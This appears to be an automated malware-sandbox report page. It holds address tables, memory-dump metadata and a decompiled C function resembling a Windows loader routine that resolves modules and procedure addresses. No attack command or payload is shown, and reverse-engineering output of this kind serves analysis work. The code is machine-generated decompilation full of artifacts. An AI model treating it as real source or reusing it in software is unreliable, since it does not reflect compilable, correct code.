                                      0x036921fe
                                      0x036921e3
                                      0x03692195
                                      0x0369236c
                                      0x03692122
                                      0x03692122
                                      0x03692124
                                      0x03692231
                                      0x03692236
                                      0x03692236
                                      0x03692238
                                      0x03692238
                                      0x03692240
                                      0x03692242
                                      0x03692244
                                      0x036d59fc
                                      0x0369218c
                                      0x0369218c
                                      0x00000000
                                      0x0369218c
                                      0x0369224a
                                      0x0369224f
                                      0x03692256
                                      0x03692304
                                      0x03692309
                                      0x0369230f
                                      0x0369231e
                                      0x0369231e
                                      0x0369231e
                                      0x03692320
                                      0x03692325
                                      0x0369232a
                                      0x0369232c
                                      0x0369233e
                                      0x0369233e
                                      0x00000000
                                      0x0369232c
                                      0x03692311
                                      0x03692317
                                      0x0369231a
                                      0x0369231c
                                      0x03692380
                                      0x03692380
                                      0x03692380
                                      0x03692384
                                      0x00000000
                                      0x00000000
                                      0x03692386
                                      0x00000000
                                      0x0369231c
                                      0x0369225c
                                      0x0369225c
                                      0x00000000
                                      0x0369225c
                                      0x0369212a
                                      0x03692134
                                      0x03692138
                                      0x0369213d
                                      0x036d5858
                                      0x036d5863
                                      0x036d5863
                                      0x036d5867
                                      0x036d586a
                                      0x00000000
                                      0x00000000
                                      0x036d586c
                                      0x036d586c
                                      0x036d5871
                                      0x036d5875
                                      0x036d5877
                                      0x036d5997
                                      0x036d599c
                                      0x036d59a1
                                      0x036d59a7
                                      0x036d59a7
                                      0x00000000
                                      0x036d59a7
                                      0x036d587d
                                      0x00000000
                                      0x036d588b
                                      0x036d588b
                                      0x036d5890
                                      0x036d5892
                                      0x036d5894
                                      0x036d5899
                                      0x036d589b
                                      0x036d58a0
                                      0x036d58a0
                                      0x036d58aa
                                      0x036d58b2
                                      0x036d58b6
                                      0x036d58be
                                      0x036d58c6
                                      0x036d58c9
                                      0x036d590d
                                      0x036d5917
                                      0x036d591a
                                      0x036d591c
                                      0x036d5920
                                      0x036d5928
                                      0x036d592a
                                      0x036d592c
                                      0x036d592e
                                      0x036d592e
                                      0x036d58cb
                                      0x036d58cd
                                      0x036d58d8
                                      0x036d58e0
                                      0x036d58f4
                                      0x036d58fe
                                      0x036d58fe
                                      0x036d593a
                                      0x036d593e
                                      0x036d5940
                                      0x036d5942
                                      0x00000000
                                      0x036d5944
                                      0x036d5944
                                      0x036d5949
                                      0x036d594e
                                      0x036d594e
                                      0x036d5953
                                      0x036d595b
                                      0x036d5976
                                      0x036d5976
                                      0x036d597a
                                      0x036d597f
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036d5981
                                      0x036d5981
                                      0x036d5981
                                      0x036d5983
                                      0x036d5988
                                      0x036d598d
                                      0x036d5991
                                      0x036d5991
                                      0x00000000
                                      0x036d595d
                                      0x036d595d
                                      0x036d5963
                                      0x036d5965
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036d5967
                                      0x036d5967
                                      0x036d596b
                                      0x036d596d
                                      0x00000000
                                      0x00000000
                                      0x036d596f
                                      0x036d5971
                                      0x036d5971
                                      0x036d5974
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036d5974
                                      0x00000000
                                      0x036d5967
                                      0x036d595b
                                      0x036d5942
                                      0x036d5863
                                      0x03692143
                                      0x03692143
                                      0x03692149
                                      0x0369214f
                                      0x036922f1
                                      0x036922f6
                                      0x00000000
                                      0x03692173
                                      0x03692173
                                      0x0369217d
                                      0x03692181
                                      0x03692186
                                      0x036d59ae
                                      0x036d59b2
                                      0x036d59b5
                                      0x036d59b7
                                      0x036d59ba
                                      0x036d59cd
                                      0x036d59d1
                                      0x036d59d5
                                      0x036d59d9
                                      0x036d59db
                                      0x00000000
                                      0x00000000
                                      0x036d59dd
                                      0x036d59dd
                                      0x036d59e1
                                      0x036d59e4
                                      0x036d59e7
                                      0x036d59ee
                                      0x036d59ee
                                      0x036d59f3
                                      0x036d59f3
                                      0x00000000
                                      0x03692186
                                      0x0369214f
                                      0x03692106
                                      0x03692266
                                      0x036920d8
                                      0x036920da
                                      0x036920e0
                                      0x00000000
                                      0x00000000
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: bb6aa817f5a5179819aa410e1b7eed0e7728d1cce6ccca8bb8b35e5745bab83e
                                      • Instruction ID: d95116682651a0a6e1ecda3082421d74deaf3b155cceb955f5866123d27b9dcf
                                      • Opcode Fuzzy Hash: bb6aa817f5a5179819aa410e1b7eed0e7728d1cce6ccca8bb8b35e5745bab83e
                                      • Instruction Fuzzy Hash: 9BF11B31A08349AFEB25CF28C55076BBBE9AF86314F0C895EE9568F340D774D841CB96
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 87%
                                      			E0367D5E0(signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16, signed int _a20, signed int _a24) {
                                      				signed int _v8;
                                      				intOrPtr _v20;
                                      				signed int _v36;
                                      				intOrPtr* _v40;
                                      				signed int _v44;
                                      				signed int _v48;
                                      				signed char _v52;
                                      				signed int _v60;
                                      				signed int _v64;
                                      				signed int _v68;
                                      				signed int _v72;
                                      				signed int _v76;
                                      				intOrPtr _v80;
                                      				signed int _v84;
                                      				intOrPtr _v100;
                                      				intOrPtr _v104;
                                      				signed int _v108;
                                      				signed int _v112;
                                      				signed int _v116;
                                      				intOrPtr _v120;
                                      				signed int _v132;
                                      				char _v140;
                                      				char _v144;
                                      				char _v157;
                                      				signed int _v164;
                                      				signed int _v168;
                                      				signed int _v169;
                                      				intOrPtr _v176;
                                      				signed int _v180;
                                      				signed int _v184;
                                      				intOrPtr _v188;
                                      				signed int _v192;
                                      				signed int _v200;
                                      				signed int _v208;
                                      				intOrPtr* _v212;
                                      				char _v216;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				void* __ebp;
                                      				signed int _t204;
                                      				signed int _t206;
                                      				void* _t208;
                                      				signed int _t211;
                                      				signed int _t216;
                                      				intOrPtr _t217;
                                      				intOrPtr* _t218;
                                      				signed int _t226;
                                      				signed int _t239;
                                      				signed int* _t247;
                                      				signed int _t249;
                                      				void* _t252;
                                      				signed int _t256;
                                      				signed int _t269;
                                      				signed int _t271;
                                      				signed int _t277;
                                      				signed int _t279;
                                      				intOrPtr _t283;
                                      				signed int _t287;
                                      				signed int _t288;
                                      				void* _t289;
                                      				signed char _t290;
                                      				signed int _t292;
                                      				signed int* _t293;
                                      				unsigned int _t297;
                                      				signed int _t306;
                                      				signed int _t307;
                                      				signed int _t308;
                                      				signed int _t309;
                                      				signed int _t310;
                                      				intOrPtr _t311;
                                      				intOrPtr _t312;
                                      				signed int _t319;
                                      				signed int _t320;
                                      				signed int* _t324;
                                      				signed int _t337;
                                      				signed int _t338;
                                      				signed int _t339;
                                      				signed int* _t340;
                                      				void* _t341;
                                      				signed int _t344;
                                      				signed int _t348;
                                      				signed int _t349;
                                      				signed int _t351;
                                      				intOrPtr _t353;
                                      				void* _t354;
                                      				signed int _t356;
                                      				signed int _t358;
                                      				intOrPtr _t359;
                                      				signed int _t361;
                                      				signed int _t363;
                                      				signed short* _t365;
                                      				void* _t367;
                                      				intOrPtr _t369;
                                      				void* _t370;
                                      				signed int _t371;
                                      				signed int _t372;
                                      				void* _t374;
                                      				signed int _t376;
                                      				void* _t384;
                                      				signed int _t387;
                                      
                                      				_v8 =  *0x375d360 ^ _t376;
                                      				_t2 =  &_a20;
                                      				 *_t2 = _a20 & 0x00000001;
                                      				_t287 = _a4;
                                      				_v200 = _a12;
                                      				_t365 = _a8;
                                      				_v212 = _a16;
                                      				_v180 = _a24;
                                      				_v168 = 0;
                                      				_v157 = 0;
                                      				if( *_t2 != 0) {
                                      					__eflags = E03676600(0x37552d8);
                                      					if(__eflags == 0) {
                                      						goto L1;
                                      					} else {
                                      						_v188 = 6;
                                      					}
                                      				} else {
                                      					L1:
                                      					_v188 = 9;
                                      				}
                                      				if(_t365 == 0) {
                                      					_v164 = 0;
                                      					goto L5;
                                      				} else {
                                      					_t363 =  *_t365 & 0x0000ffff;
                                      					_t341 = _t363 + 1;
                                      					if((_t365[1] & 0x0000ffff) < _t341) {
                                      						L109:
                                      						__eflags = _t341 - 0x80;
                                      						if(_t341 <= 0x80) {
                                      							_t281 =  &_v140;
                                      							_v164 =  &_v140;
                                      							goto L114;
                                      						} else {
                                      							_t283 =  *0x3757b9c; // 0x0
                                      							_t281 = L03684620(_t341,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t283 + 0x180000, _t341);
                                      							_v164 = _t281;
                                      							__eflags = _t281;
                                      							if(_t281 != 0) {
                                      								_v157 = 1;
                                      								L114:
                                      								E036AF3E0(_t281, _t365[2], _t363);
                                      								_t200 = _v164;
                                      								 *((char*)(_v164 + _t363)) = 0;
                                      								goto L5;
                                      							} else {
                                      								_t204 = 0xc000009a;
                                      								goto L47;
                                      							}
                                      						}
                                      					} else {
                                      						_t200 = _t365[2];
                                      						_v164 = _t200;
                                      						if( *((char*)(_t200 + _t363)) != 0) {
                                      							goto L109;
                                      						} else {
                                      							while(1) {
                                      								L5:
                                      								_t353 = 0;
                                      								_t342 = 0x1000;
                                      								_v176 = 0;
                                      								if(_t287 == 0) {
                                      									break;
                                      								}
                                      								_t384 = _t287 -  *0x3757b90; // 0x772a0000
                                      								if(_t384 == 0) {
                                      									_t353 =  *0x3757b8c; // 0x903db8
                                      									_v176 = _t353;
                                      									_t320 = ( *(_t353 + 0x50))[8];
                                      									_v184 = _t320;
                                      								} else {
                                      									E03682280(_t200, 0x37584d8);
                                      									_t277 =  *0x37585f4;
                                      									_t351 =  *0x37585f8 & 1;
                                      									while(_t277 != 0) {
                                      										_t337 =  *(_t277 - 0x50);
                                      										if(_t337 > _t287) {
                                      											_t338 = _t337 | 0xffffffff;
                                      										} else {
                                      											asm("sbb ecx, ecx");
                                      											_t338 =  ~_t337;
                                      										}
                                      										_t387 = _t338;
                                      										if(_t387 < 0) {
                                      											_t339 =  *_t277;
                                      											__eflags = _t351;
                                      											if(_t351 != 0) {
                                      												__eflags = _t339;
                                      												if(_t339 == 0) {
                                      													goto L16;
                                      												} else {
                                      													goto L118;
                                      												}
                                      												goto L151;
                                      											} else {
                                      												goto L16;
                                      											}
                                      											goto L17;
                                      										} else {
                                      											if(_t387 <= 0) {
                                      												__eflags = _t277;
                                      												if(_t277 != 0) {
                                      													_t340 =  *(_t277 - 0x18);
                                      													_t24 = _t277 - 0x68; // 0x905cb8
                                      													_t353 = _t24;
                                      													_v176 = _t353;
                                      													__eflags = _t340[3] - 0xffffffff;
                                      													if(_t340[3] != 0xffffffff) {
                                      														_t279 =  *_t340;
                                      														__eflags =  *(_t279 - 0x20) & 0x00000020;
                                      														if(( *(_t279 - 0x20) & 0x00000020) == 0) {
                                      															asm("lock inc dword [edi+0x9c]");
                                      															_t340 =  *(_t353 + 0x50);
                                      														}
                                      													}
                                      													_v184 = _t340[8];
                                      												}
                                      											} else {
                                      												_t339 =  *(_t277 + 4);
                                      												if(_t351 != 0) {
                                      													__eflags = _t339;
                                      													if(_t339 == 0) {
                                      														goto L16;
                                      													} else {
                                      														L118:
                                      														_t277 = _t277 ^ _t339;
                                      														goto L17;
                                      													}
                                      													goto L151;
                                      												} else {
                                      													L16:
                                      													_t277 = _t339;
                                      												}
                                      												goto L17;
                                      											}
                                      										}
                                      										goto L25;
                                      										L17:
                                      									}
                                      									L25:
                                      									E0367FFB0(_t287, _t353, 0x37584d8);
                                      									_t320 = _v184;
                                      									_t342 = 0x1000;
                                      								}
                                      								if(_t353 == 0) {
                                      									break;
                                      								} else {
                                      									_t366 = 0;
                                      									if(( *( *[fs:0x18] + 0xfca) & _t342) != 0 || _t320 >= _v188) {
                                      										_t288 = _v164;
                                      										if(_t353 != 0) {
                                      											_t342 = _t288;
                                      											_t374 = E036BCC99(_t353, _t288, _v200, 1,  &_v168);
                                      											if(_t374 >= 0) {
                                      												if(_v184 == 7) {
                                      													__eflags = _a20;
                                      													if(__eflags == 0) {
                                      														__eflags =  *( *[fs:0x18] + 0xfca) & 0x00001000;
                                      														if(__eflags != 0) {
                                      															_t271 = E03676600(0x37552d8);
                                      															__eflags = _t271;
                                      															if(__eflags == 0) {
                                      																_t342 = 0;
                                      																_v169 = _t271;
                                      																_t374 = E03677926( *(_t353 + 0x50), 0,  &_v169);
                                      															}
                                      														}
                                      													}
                                      												}
                                      												if(_t374 < 0) {
                                      													_v168 = 0;
                                      												} else {
                                      													if( *0x375b239 != 0) {
                                      														_t342 =  *(_t353 + 0x18);
                                      														E036EE974(_v180,  *(_t353 + 0x18), __eflags, _v168, 0,  &_v168);
                                      													}
                                      													if( *0x3758472 != 0) {
                                      														_v192 = 0;
                                      														_t342 =  *0x7ffe0330;
                                      														_t361 =  *0x375b218; // 0x41bb2636
                                      														asm("ror edi, cl");
                                      														 *0x375b1e0( &_v192, _t353, _v168, 0, _v180);
                                      														 *(_t361 ^  *0x7ffe0330)();
                                      														_t269 = _v192;
                                      														_t353 = _v176;
                                      														__eflags = _t269;
                                      														if(__eflags != 0) {
                                      															_v168 = _t269;
                                      														}
                                      													}
                                      												}
                                      											}
                                      											if(_t374 == 0xc0000135 || _t374 == 0xc0000142) {
                                      												_t366 = 0xc000007a;
                                      											}
                                      											_t247 =  *(_t353 + 0x50);
                                      											if(_t247[3] == 0xffffffff) {
                                      												L40:
                                      												if(_t366 == 0xc000007a) {
                                      													__eflags = _t288;
                                      													if(_t288 == 0) {
                                      														goto L136;
                                      													} else {
                                      														_t366 = 0xc0000139;
                                      													}
                                      													goto L54;
                                      												}
                                      											} else {
                                      												_t249 =  *_t247;
                                      												if(( *(_t249 - 0x20) & 0x00000020) != 0) {
                                      													goto L40;
                                      												} else {
                                      													_t250 = _t249 | 0xffffffff;
                                      													asm("lock xadd [edi+0x9c], eax");
                                      													if((_t249 | 0xffffffff) == 0) {
                                      														E03682280(_t250, 0x37584d8);
                                      														_t342 =  *(_t353 + 0x54);
                                      														_t165 = _t353 + 0x54; // 0x54
                                      														_t252 = _t165;
                                      														__eflags =  *(_t342 + 4) - _t252;
                                      														if( *(_t342 + 4) != _t252) {
                                      															L135:
                                      															asm("int 0x29");
                                      															L136:
                                      															_t288 = _v200;
                                      															_t366 = 0xc0000138;
                                      															L54:
                                      															_t342 = _t288;
                                      															L036A3898(0, _t288, _t366);
                                      														} else {
                                      															_t324 =  *(_t252 + 4);
                                      															__eflags =  *_t324 - _t252;
                                      															if( *_t324 != _t252) {
                                      																goto L135;
                                      															} else {
                                      																 *_t324 = _t342;
                                      																 *(_t342 + 4) = _t324;
                                      																_t293 =  *(_t353 + 0x50);
                                      																_v180 =  *_t293;
                                      																E0367FFB0(_t293, _t353, 0x37584d8);
                                      																__eflags =  *((short*)(_t353 + 0x3a));
                                      																if( *((short*)(_t353 + 0x3a)) != 0) {
                                      																	_t342 = 0;
                                      																	__eflags = 0;
                                      																	E036A37F5(_t353, 0);
                                      																}
                                      																E036A0413(_t353);
                                      																_t256 =  *(_t353 + 0x48);
                                      																__eflags = _t256;
                                      																if(_t256 != 0) {
                                      																	__eflags = _t256 - 0xffffffff;
                                      																	if(_t256 != 0xffffffff) {
                                      																		E03699B10(_t256);
                                      																	}
                                      																}
                                      																__eflags =  *(_t353 + 0x28);
                                      																if( *(_t353 + 0x28) != 0) {
                                      																	_t174 = _t353 + 0x24; // 0x24
                                      																	E036902D6(_t174);
                                      																}
                                      																L036877F0( *0x3757b98, 0, _t353);
                                      																__eflags = _v180 - _t293;
                                      																if(__eflags == 0) {
                                      																	E0369C277(_t293, _t366);
                                      																}
                                      																_t288 = _v164;
                                      																goto L40;
                                      															}
                                      														}
                                      													} else {
                                      														goto L40;
                                      													}
                                      												}
                                      											}
                                      										}
                                      									} else {
                                      										L0367EC7F(_t353);
                                      										L036919B8(_t287, 0, _t353, 0);
                                      										_t200 = E0366F4E3(__eflags);
                                      										continue;
                                      									}
                                      								}
                                      								L41:
                                      								if(_v157 != 0) {
                                      									L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t288);
                                      								}
                                      								if(_t366 < 0) {
                                      									L46:
                                      									 *_v212 = _v168;
                                      									_t204 = _t366;
                                      									L47:
                                      									_pop(_t354);
                                      									_pop(_t367);
                                      									_pop(_t289);
                                      									return E036AB640(_t204, _t289, _v8 ^ _t376, _t342, _t354, _t367);
                                      								} else {
                                      									_t206 =  *0x375b2f8; // 0xc10000
                                      									if((_t206 |  *0x375b2fc) == 0 || ( *0x375b2e4 & 0x00000001) != 0) {
                                      										goto L46;
                                      									} else {
                                      										_t297 =  *0x375b2ec; // 0x100
                                      										_v200 = 0;
                                      										if((_t297 >> 0x00000008 & 0x00000003) == 3) {
                                      											_t355 = _v168;
                                      											_t342 =  &_v208;
                                      											_t208 = E03716B68(_v168,  &_v208, _v168, __eflags);
                                      											__eflags = _t208 - 1;
                                      											if(_t208 == 1) {
                                      												goto L46;
                                      											} else {
                                      												__eflags = _v208 & 0x00000010;
                                      												if((_v208 & 0x00000010) == 0) {
                                      													goto L46;
                                      												} else {
                                      													_t342 = 4;
                                      													_t366 = E03716AEB(_t355, 4,  &_v216);
                                      													__eflags = _t366;
                                      													if(_t366 >= 0) {
                                      														goto L46;
                                      													} else {
                                      														asm("int 0x29");
                                      														_t356 = 0;
                                      														_v44 = 0;
                                      														_t290 = _v52;
                                      														__eflags = 0;
                                      														if(0 == 0) {
                                      															L108:
                                      															_t356 = 0;
                                      															_v44 = 0;
                                      															goto L63;
                                      														} else {
                                      															__eflags = 0;
                                      															if(0 < 0) {
                                      																goto L108;
                                      															}
                                      															L63:
                                      															_v112 = _t356;
                                      															__eflags = _t356;
                                      															if(_t356 == 0) {
                                      																L143:
                                      																_v8 = 0xfffffffe;
                                      																_t211 = 0xc0000089;
                                      															} else {
                                      																_v36 = 0;
                                      																_v60 = 0;
                                      																_v48 = 0;
                                      																_v68 = 0;
                                      																_v44 = _t290 & 0xfffffffc;
                                      																E0367E9C0(1, _t290 & 0xfffffffc, 0, 0,  &_v68);
                                      																_t306 = _v68;
                                      																__eflags = _t306;
                                      																if(_t306 == 0) {
                                      																	_t216 = 0xc000007b;
                                      																	_v36 = 0xc000007b;
                                      																	_t307 = _v60;
                                      																} else {
                                      																	__eflags = _t290 & 0x00000001;
                                      																	if(__eflags == 0) {
                                      																		_t349 =  *(_t306 + 0x18) & 0x0000ffff;
                                      																		__eflags = _t349 - 0x10b;
                                      																		if(_t349 != 0x10b) {
                                      																			__eflags = _t349 - 0x20b;
                                      																			if(_t349 == 0x20b) {
                                      																				goto L102;
                                      																			} else {
                                      																				_t307 = 0;
                                      																				_v48 = 0;
                                      																				_t216 = 0xc000007b;
                                      																				_v36 = 0xc000007b;
                                      																				goto L71;
                                      																			}
                                      																		} else {
                                      																			L102:
                                      																			_t307 =  *(_t306 + 0x50);
                                      																			goto L69;
                                      																		}
                                      																		goto L151;
                                      																	} else {
                                      																		_t239 = L0367EAEA(_t290, _t290, _t356, _t366, __eflags);
                                      																		_t307 = _t239;
                                      																		_v60 = _t307;
                                      																		_v48 = _t307;
                                      																		__eflags = _t307;
                                      																		if(_t307 != 0) {
                                      																			L70:
                                      																			_t216 = _v36;
                                      																		} else {
                                      																			_push(_t239);
                                      																			_push(0x14);
                                      																			_push( &_v144);
                                      																			_push(3);
                                      																			_push(_v44);
                                      																			_push(0xffffffff);
                                      																			_t319 = E036A9730();
                                      																			_v36 = _t319;
                                      																			__eflags = _t319;
                                      																			if(_t319 < 0) {
                                      																				_t216 = 0xc000001f;
                                      																				_v36 = 0xc000001f;
                                      																				_t307 = _v60;
                                      																			} else {
                                      																				_t307 = _v132;
                                      																				L69:
                                      																				_v48 = _t307;
                                      																				goto L70;
                                      																			}
                                      																		}
                                      																	}
                                      																}
                                      																L71:
                                      																_v72 = _t307;
                                      																_v84 = _t216;
                                      																__eflags = _t216 - 0xc000007b;
                                      																if(_t216 == 0xc000007b) {
                                      																	L150:
                                      																	_v8 = 0xfffffffe;
                                      																	_t211 = 0xc000007b;
                                      																} else {
                                      																	_t344 = _t290 & 0xfffffffc;
                                      																	_v76 = _t344;
                                      																	__eflags = _v40 - _t344;
                                      																	if(_v40 <= _t344) {
                                      																		goto L150;
                                      																	} else {
                                      																		__eflags = _t307;
                                      																		if(_t307 == 0) {
                                      																			L75:
                                      																			_t217 = 0;
                                      																			_v104 = 0;
                                      																			__eflags = _t366;
                                      																			if(_t366 != 0) {
                                      																				__eflags = _t290 & 0x00000001;
                                      																				if((_t290 & 0x00000001) != 0) {
                                      																					_t217 = 1;
                                      																					_v104 = 1;
                                      																				}
                                      																				_t290 = _v44;
                                      																				_v52 = _t290;
                                      																			}
                                      																			__eflags = _t217 - 1;
                                      																			if(_t217 != 1) {
                                      																				_t369 = 0;
                                      																				_t218 = _v40;
                                      																				goto L91;
                                      																			} else {
                                      																				_v64 = 0;
                                      																				E0367E9C0(1, _t290, 0, 0,  &_v64);
                                      																				_t309 = _v64;
                                      																				_v108 = _t309;
                                      																				__eflags = _t309;
                                      																				if(_t309 == 0) {
                                      																					goto L143;
                                      																				} else {
                                      																					_t226 =  *(_t309 + 0x18) & 0x0000ffff;
                                      																					__eflags = _t226 - 0x10b;
                                      																					if(_t226 != 0x10b) {
                                      																						__eflags = _t226 - 0x20b;
                                      																						if(_t226 != 0x20b) {
                                      																							goto L143;
                                      																						} else {
                                      																							_t371 =  *(_t309 + 0x98);
                                      																							goto L83;
                                      																						}
                                      																					} else {
                                      																						_t371 =  *(_t309 + 0x88);
                                      																						L83:
                                      																						__eflags = _t371;
                                      																						if(_t371 != 0) {
                                      																							_v80 = _t371 - _t356 + _t290;
                                      																							_t310 = _v64;
                                      																							_t348 = _t310 + 0x18 + ( *(_t309 + 0x14) & 0x0000ffff);
                                      																							_t292 =  *(_t310 + 6) & 0x0000ffff;
                                      																							_t311 = 0;
                                      																							__eflags = 0;
                                      																							while(1) {
                                      																								_v120 = _t311;
                                      																								_v116 = _t348;
                                      																								__eflags = _t311 - _t292;
                                      																								if(_t311 >= _t292) {
                                      																									goto L143;
                                      																								}
                                      																								_t359 =  *((intOrPtr*)(_t348 + 0xc));
                                      																								__eflags = _t371 - _t359;
                                      																								if(_t371 < _t359) {
                                      																									L98:
                                      																									_t348 = _t348 + 0x28;
                                      																									_t311 = _t311 + 1;
                                      																									continue;
                                      																								} else {
                                      																									__eflags = _t371 -  *((intOrPtr*)(_t348 + 0x10)) + _t359;
                                      																									if(_t371 >=  *((intOrPtr*)(_t348 + 0x10)) + _t359) {
                                      																										goto L98;
                                      																									} else {
                                      																										__eflags = _t348;
                                      																										if(_t348 == 0) {
                                      																											goto L143;
                                      																										} else {
                                      																											_t218 = _v40;
                                      																											_t312 =  *_t218;
                                      																											__eflags = _t312 -  *((intOrPtr*)(_t348 + 8));
                                      																											if(_t312 >  *((intOrPtr*)(_t348 + 8))) {
                                      																												_v100 = _t359;
                                      																												_t360 = _v108;
                                      																												_t372 = L03678F44(_v108, _t312);
                                      																												__eflags = _t372;
                                      																												if(_t372 == 0) {
                                      																													goto L143;
                                      																												} else {
                                      																													_t290 = _v52;
                                      																													_t369 = _v80 +  *((intOrPtr*)(_t372 + 0xc)) - _v100 + _v112 - E036A3C00(_t360, _t290,  *((intOrPtr*)(_t372 + 0xc)));
                                      																													_t307 = _v72;
                                      																													_t344 = _v76;
                                      																													_t218 = _v40;
                                      																													goto L91;
                                      																												}
                                      																											} else {
                                      																												_t290 = _v52;
                                      																												_t307 = _v72;
                                      																												_t344 = _v76;
                                      																												_t369 = _v80;
                                      																												L91:
                                      																												_t358 = _a4;
                                      																												__eflags = _t358;
                                      																												if(_t358 == 0) {
                                      																													L95:
                                      																													_t308 = _a8;
                                      																													__eflags = _t308;
                                      																													if(_t308 != 0) {
                                      																														 *_t308 =  *((intOrPtr*)(_v40 + 4));
                                      																													}
                                      																													_v8 = 0xfffffffe;
                                      																													_t211 = _v84;
                                      																												} else {
                                      																													_t370 =  *_t218 - _t369 + _t290;
                                      																													 *_t358 = _t370;
                                      																													__eflags = _t370 - _t344;
                                      																													if(_t370 <= _t344) {
                                      																														L149:
                                      																														 *_t358 = 0;
                                      																														goto L150;
                                      																													} else {
                                      																														__eflags = _t307;
                                      																														if(_t307 == 0) {
                                      																															goto L95;
                                      																														} else {
                                      																															__eflags = _t370 - _t344 + _t307;
                                      																															if(_t370 >= _t344 + _t307) {
                                      																																goto L149;
                                      																															} else {
                                      																																goto L95;
                                      																															}
                                      																														}
                                      																													}
                                      																												}
                                      																											}
                                      																										}
                                      																									}
                                      																								}
                                      																								goto L97;
                                      																							}
                                      																						}
                                      																						goto L143;
                                      																					}
                                      																				}
                                      																			}
                                      																		} else {
                                      																			__eflags = _v40 - _t307 + _t344;
                                      																			if(_v40 >= _t307 + _t344) {
                                      																				goto L150;
                                      																			} else {
                                      																				goto L75;
                                      																			}
                                      																		}
                                      																	}
                                      																}
                                      															}
                                      															L97:
                                      															 *[fs:0x0] = _v20;
                                      															return _t211;
                                      														}
                                      													}
                                      												}
                                      											}
                                      										} else {
                                      											goto L46;
                                      										}
                                      									}
                                      								}
                                      								goto L151;
                                      							}
                                      							_t288 = _v164;
                                      							_t366 = 0xc0000135;
                                      							goto L41;
                                      						}
                                      					}
                                      				}
                                      				L151:
                                      			}








































































































                                      0x0367d5f2
                                      0x0367d5f5
                                      0x0367d5f5
                                      0x0367d5fd
                                      0x0367d600
                                      0x0367d60a
                                      0x0367d60d
                                      0x0367d617
                                      0x0367d61d
                                      0x0367d627
                                      0x0367d62e
                                      0x0367d911
                                      0x0367d913
                                      0x00000000
                                      0x0367d919
                                      0x0367d919
                                      0x0367d919
                                      0x0367d634
                                      0x0367d634
                                      0x0367d634
                                      0x0367d634
                                      0x0367d640
                                      0x0367d8bf
                                      0x00000000
                                      0x0367d646
                                      0x0367d646
                                      0x0367d64d
                                      0x0367d652
                                      0x036cb2fc
                                      0x036cb2fc
                                      0x036cb302
                                      0x036cb33b
                                      0x036cb341
                                      0x00000000
                                      0x036cb304
                                      0x036cb304
                                      0x036cb319
                                      0x036cb31e
                                      0x036cb324
                                      0x036cb326
                                      0x036cb332
                                      0x036cb347
                                      0x036cb34c
                                      0x036cb351
                                      0x036cb35a
                                      0x00000000
                                      0x036cb328
                                      0x036cb328
                                      0x00000000
                                      0x036cb328
                                      0x036cb326
                                      0x0367d658
                                      0x0367d658
                                      0x0367d65b
                                      0x0367d665
                                      0x00000000
                                      0x0367d66b
                                      0x0367d66b
                                      0x0367d66b
                                      0x0367d66b
                                      0x0367d66d
                                      0x0367d672
                                      0x0367d67a
                                      0x00000000
                                      0x00000000
                                      0x0367d680
                                      0x0367d686
                                      0x0367d8ce
                                      0x0367d8d4
                                      0x0367d8dd
                                      0x0367d8e0
                                      0x0367d68c
                                      0x0367d691
                                      0x0367d69d
                                      0x0367d6a2
                                      0x0367d6a7
                                      0x0367d6b0
                                      0x0367d6b5
                                      0x0367d6e0
                                      0x0367d6b7
                                      0x0367d6b7
                                      0x0367d6b9
                                      0x0367d6b9
                                      0x0367d6bb
                                      0x0367d6bd
                                      0x0367d6ce
                                      0x0367d6d0
                                      0x0367d6d2
                                      0x036cb363
                                      0x036cb365
                                      0x00000000
                                      0x036cb36b
                                      0x00000000
                                      0x036cb36b
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0367d6bf
                                      0x0367d6bf
                                      0x0367d6e5
                                      0x0367d6e7
                                      0x0367d6e9
                                      0x0367d6ec
                                      0x0367d6ec
                                      0x0367d6ef
                                      0x0367d6f5
                                      0x0367d6f9
                                      0x0367d6fb
                                      0x0367d6fd
                                      0x0367d701
                                      0x0367d703
                                      0x0367d70a
                                      0x0367d70a
                                      0x0367d701
                                      0x0367d710
                                      0x0367d710
                                      0x0367d6c1
                                      0x0367d6c1
                                      0x0367d6c6
                                      0x036cb36d
                                      0x036cb36f
                                      0x00000000
                                      0x036cb375
                                      0x036cb375
                                      0x036cb375
                                      0x00000000
                                      0x036cb375
                                      0x00000000
                                      0x0367d6cc
                                      0x0367d6d8
                                      0x0367d6d8
                                      0x0367d6d8
                                      0x00000000
                                      0x0367d6c6
                                      0x0367d6bf
                                      0x00000000
                                      0x0367d6da
                                      0x0367d6da
                                      0x0367d716
                                      0x0367d71b
                                      0x0367d720
                                      0x0367d726
                                      0x0367d726
                                      0x0367d72d
                                      0x00000000
                                      0x0367d733
                                      0x0367d739
                                      0x0367d742
                                      0x0367d750
                                      0x0367d758
                                      0x0367d764
                                      0x0367d776
                                      0x0367d77a
                                      0x0367d783
                                      0x0367d928
                                      0x0367d92c
                                      0x0367d93d
                                      0x0367d944
                                      0x0367d94f
                                      0x0367d954
                                      0x0367d956
                                      0x0367d95f
                                      0x0367d961
                                      0x0367d973
                                      0x0367d973
                                      0x0367d956
                                      0x0367d944
                                      0x0367d92c
                                      0x0367d78b
                                      0x036cb394
                                      0x0367d791
                                      0x0367d798
                                      0x036cb3a3
                                      0x036cb3bb
                                      0x036cb3bb
                                      0x0367d7a5
                                      0x0367d866
                                      0x0367d870
                                      0x0367d884
                                      0x0367d892
                                      0x0367d898
                                      0x0367d89e
                                      0x0367d8a0
                                      0x0367d8a6
                                      0x0367d8ac
                                      0x0367d8ae
                                      0x0367d8b4
                                      0x0367d8b4
                                      0x0367d8ae
                                      0x0367d7a5
